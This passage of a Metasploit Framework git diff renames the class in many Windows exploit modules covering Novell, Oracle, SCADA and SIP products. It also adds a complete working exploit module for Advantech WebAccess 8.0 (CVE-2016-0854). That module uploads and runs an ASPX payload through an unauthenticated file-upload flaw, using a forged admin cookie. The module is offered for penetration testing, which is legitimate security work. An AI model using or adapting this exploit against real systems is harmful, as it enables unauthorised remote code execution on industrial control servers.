Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index b437751a1a..47e020de48 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/file_dropper' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer diff --git a/modules/exploits/windows/novell/nmap_stor.rb b/modules/exploits/windows/novell/nmap_stor.rb index 36575b89bd..91b4b995b8 100644 --- a/modules/exploits/windows/novell/nmap_stor.rb +++ b/modules/exploits/windows/novell/nmap_stor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/novell/zenworks_desktop_agent.rb b/modules/exploits/windows/novell/zenworks_desktop_agent.rb index 8899a87ccf..9b12cc218e 100644 --- a/modules/exploits/windows/novell/zenworks_desktop_agent.rb +++ b/modules/exploits/windows/novell/zenworks_desktop_agent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb index 08817cddeb..98e16a76dc 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb index 911d0683cf..5577884048 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb index bbc14601ec..bfc3cdb83d 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb index f4930191b4..bd7318ef14 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb index b305977fbb..d018f07b73 100644 --- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb +++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Oracle Containers for J2EE/ ] } diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index 7af245692f..886e55fa56 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Client @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote execute_cmdstager({:linemax => 1500}) handler else - print_error "#{rhost} does not appear to be vulnerable!" + print_error "Host does not appear to be vulnerable!" end end diff --git a/modules/exploits/windows/oracle/osb_ndmp_auth.rb b/modules/exploits/windows/oracle/osb_ndmp_auth.rb index bd720f2aee..e37b98a008 100644 --- a/modules/exploits/windows/oracle/osb_ndmp_auth.rb +++ b/modules/exploits/windows/oracle/osb_ndmp_auth.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::NDMP diff --git a/modules/exploits/windows/oracle/tns_arguments.rb b/modules/exploits/windows/oracle/tns_arguments.rb index 8d33b8642c..f59db5a41d 100644 --- a/modules/exploits/windows/oracle/tns_arguments.rb +++ b/modules/exploits/windows/oracle/tns_arguments.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::TNS diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb index 228927ad94..21d7fc7fb5 100644 --- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb +++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::TNS diff --git a/modules/exploits/windows/oracle/tns_service_name.rb b/modules/exploits/windows/oracle/tns_service_name.rb index 5dcf583fc3..4b7cd04159 100644 --- a/modules/exploits/windows/oracle/tns_service_name.rb +++ b/modules/exploits/windows/oracle/tns_service_name.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::TNS diff --git a/modules/exploits/windows/pop3/seattlelab_pass.rb b/modules/exploits/windows/pop3/seattlelab_pass.rb index 2cd1ccf651..2c04639fb6 100644 --- a/modules/exploits/windows/pop3/seattlelab_pass.rb +++ b/modules/exploits/windows/pop3/seattlelab_pass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb index 9fd971c9e6..32cfb0c1b9 100644 --- a/modules/exploits/windows/postgres/postgres_payload.rb +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Postgres diff --git a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb index 623accfec0..13711e0958 100644 --- a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb +++ b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] } diff --git a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb index bae54e50bb..1b8875b4e9 100644 --- a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb +++ b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/proxy/proxypro_http_get.rb b/modules/exploits/windows/proxy/proxypro_http_get.rb index 7dc8d3caef..2006bd8b07 100644 --- a/modules/exploits/windows/proxy/proxypro_http_get.rb +++ b/modules/exploits/windows/proxy/proxypro_http_get.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb index 25e75addc9..104269200b 100644 --- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb +++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/abb_wserver_exec.rb b/modules/exploits/windows/scada/abb_wserver_exec.rb index cdb7cdb0d7..467bb0092f 100644 --- a/modules/exploits/windows/scada/abb_wserver_exec.rb +++ b/modules/exploits/windows/scada/abb_wserver_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb new file mode 100644 index 0000000000..f7f0b1f2ea --- /dev/null +++ b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Advantech WebAccess Dashboard Viewer uploadImageCommon Arbitrary File Upload", + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0. + + This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations + of Advantech WebAccess. Authentication is not required to exploit this vulnerability. + + The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within + the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to + upload arbitrary code (instead of an image) to the server, which will then be executed under the + high-privilege context of the IIS AppPool. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'rgod', # Vulnerability discovery + 'Zhou Yu <504137480[at]qq.com>', # MSF module + 'sinn3r' # Explicit check && better support of 8.0 (2014 and 2015) + ], + 'References' => [ + [ 'CVE', '2016-0854' ], + [ 'ZDI', '16-128' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01'] + ], + 'Platform' => 'win', + 'Targets' => [ + ['Advantech WebAccess 8.0', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 5 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/']) + ], self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def vuln_version? + uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx') + + data = Rex::MIME::Message.new + # If we can access the uploadImageCommon action name, that indicates the server is vulnerable + # to our attack. The "patched" version requires authentication, so we don't have access to + # the action name. + data.add_part('uploadImageCommon', nil, nil, 'form-data; name="actionName"') + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => "waUserName=admin", + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + + res = res.get_json_document + res['resStatus'] && res['resStatus'] == '1' + end + + def check + if vuln_version? + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def upload_file?(filename, file) + print_status("Uploading: #{filename}") + uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx') + + data = Rex::MIME::Message.new + data.add_part('uploadImageCommon', nil, nil, 'form-data; name="actionName"') + data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'cookie' => "waUserName=admin", + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + + if res.get_json_document.empty? + false + else + # Only register when we know the upload was successful. + # + # When we get a session, we start at: + # c:\windows\system32\inetsrv + # But our malicious file is at C:\Inetpub\wwwroot\broadweb\WADashboard + register_file_for_cleanup("../../../Inetpub/wwwroot/broadweb/WADashboard/#{filename}") + + true + end + end + + def exec_file?(filename) + uri = normalize_uri(target_uri) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + uri = normalize_uri(target_uri, 'WADashboard', filename) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri, + 'cookie' => res.get_cookies + ) + res && res.code == 200 + end + + def exploit + unless vuln_version? + print_status('Target is not vulnerable.') + return + end + + filename = "#{Rex::Text.rand_text_alpha(5)}.aspx" + filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe) + + print_status("#{peer} - Uploading malicious file...") + return unless upload_file?(filename, filedata) + + print_status("#{peer} - Executing #{filename}...") + return unless exec_file?(filename) + end +end diff --git a/modules/exploits/windows/scada/citect_scada_odbc.rb b/modules/exploits/windows/scada/citect_scada_odbc.rb index 096e470c38..988432dd45 100644 --- a/modules/exploits/windows/scada/citect_scada_odbc.rb +++ b/modules/exploits/windows/scada/citect_scada_odbc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb index 709c87917f..995fd79dd9 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb index 48a22d1afb..c9232eafd6 100644 --- a/modules/exploits/windows/scada/codesys_web_server.rb +++ b/modules/exploits/windows/scada/codesys_web_server.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'false', + 'DisablePayloadHandler' => false, }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb index bf791cc5d9..dc3b814a0a 100644 --- a/modules/exploits/windows/scada/daq_factory_bof.rb +++ b/modules/exploits/windows/scada/daq_factory_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/scada/factorylink_csservice.rb b/modules/exploits/windows/scada/factorylink_csservice.rb index d9ccff31a2..9a8f17a1e5 100644 --- a/modules/exploits/windows/scada/factorylink_csservice.rb +++ b/modules/exploits/windows/scada/factorylink_csservice.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/factorylink_vrn_09.rb b/modules/exploits/windows/scada/factorylink_vrn_09.rb index 01c93d561f..06edd9cdc4 100644 --- a/modules/exploits/windows/scada/factorylink_vrn_09.rb +++ b/modules/exploits/windows/scada/factorylink_vrn_09.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb index 451686637c..2a81e8b6db 100644 --- a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb +++ b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report diff --git a/modules/exploits/windows/scada/iconics_genbroker.rb b/modules/exploits/windows/scada/iconics_genbroker.rb index 13b9ae70c8..9f51cfa0f8 100644 --- a/modules/exploits/windows/scada/iconics_genbroker.rb +++ b/modules/exploits/windows/scada/iconics_genbroker.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb index 76d3ba0e37..9461c4b2e5 100644 --- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb +++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb index 5e5d0fe856..c107f557ee 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Egghunter diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb index aa2097f34f..8fd355274a 100644 --- a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb +++ b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/igss9_misc.rb b/modules/exploits/windows/scada/igss9_misc.rb index 41ba050c1b..0dfcda30ea 100644 --- a/modules/exploits/windows/scada/igss9_misc.rb +++ b/modules/exploits/windows/scada/igss9_misc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/igss_exec_17.rb b/modules/exploits/windows/scada/igss_exec_17.rb index ebd1fce53c..6f63c03418 100644 --- a/modules/exploits/windows/scada/igss_exec_17.rb +++ b/modules/exploits/windows/scada/igss_exec_17.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb index 2c4fa65f6b..99725bef2f 100644 --- a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb +++ b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb index 9ac1d96811..d416fd0189 100644 --- a/modules/exploits/windows/scada/moxa_mdmtool.rb +++ b/modules/exploits/windows/scada/moxa_mdmtool.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/scada/procyon_core_server.rb b/modules/exploits/windows/scada/procyon_core_server.rb index 0c27241964..b999c2608e 100644 --- a/modules/exploits/windows/scada/procyon_core_server.rb +++ b/modules/exploits/windows/scada/procyon_core_server.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Egghunter diff --git a/modules/exploits/windows/scada/realwin.rb b/modules/exploits/windows/scada/realwin.rb index bb08a5045c..0153ee50d5 100644 --- a/modules/exploits/windows/scada/realwin.rb +++ b/modules/exploits/windows/scada/realwin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb index 49bdb98f4c..dfcf1dc520 100644 --- a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb +++ b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/scada/realwin_on_fcs_login.rb b/modules/exploits/windows/scada/realwin_on_fcs_login.rb index 3659a25bcb..2e3d2d7d07 100644 --- a/modules/exploits/windows/scada/realwin_on_fcs_login.rb +++ b/modules/exploits/windows/scada/realwin_on_fcs_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize.rb b/modules/exploits/windows/scada/realwin_scpc_initialize.rb index 6639e8f9d1..8a4bfd3ca0 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb index ae8957925b..2791b5a283 100644 --- a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb +++ b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb index 1ea64e355b..4899cb1144 100644 --- a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb +++ b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb index 4a8e6d2e04..9da0341ab1 100644 --- a/modules/exploits/windows/scada/scadapro_cmdexe.rb +++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb index 1360a3e0d3..4002ed40d9 100644 --- a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb +++ b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb index 9dc542a090..d7ddb592f7 100644 --- a/modules/exploits/windows/scada/winlog_runtime.rb +++ b/modules/exploits/windows/scada/winlog_runtime.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index f77cd30561..9de15b89fe 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb index 50988b7a1e..f382fc81ba 100644 --- a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb index 18c48e6ff9..b1bcc632af 100644 --- a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb index 5cef7ab51a..47e9e7e78f 100644 --- a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb +++ b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb index 4766596f52..a31338f38e 100644 --- a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb +++ b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/sip/aim_triton_cseq.rb b/modules/exploits/windows/sip/aim_triton_cseq.rb index 12e2bf20af..3802f613ea 100644 --- a/modules/exploits/windows/sip/aim_triton_cseq.rb +++ b/modules/exploits/windows/sip/aim_triton_cseq.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/sip/sipxezphone_cseq.rb b/modules/exploits/windows/sip/sipxezphone_cseq.rb index c26d264abb..20e47d950e 100644 --- a/modules/exploits/windows/sip/sipxezphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxezphone_cseq.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/sip/sipxphone_cseq.rb b/modules/exploits/windows/sip/sipxphone_cseq.rb index ae66736206..1c21d15813 100644 --- a/modules/exploits/windows/sip/sipxphone_cseq.rb +++ b/modules/exploits/windows/sip/sipxphone_cseq.rb @@ -5,7 +5,7 @@ require 'msf/core' -class 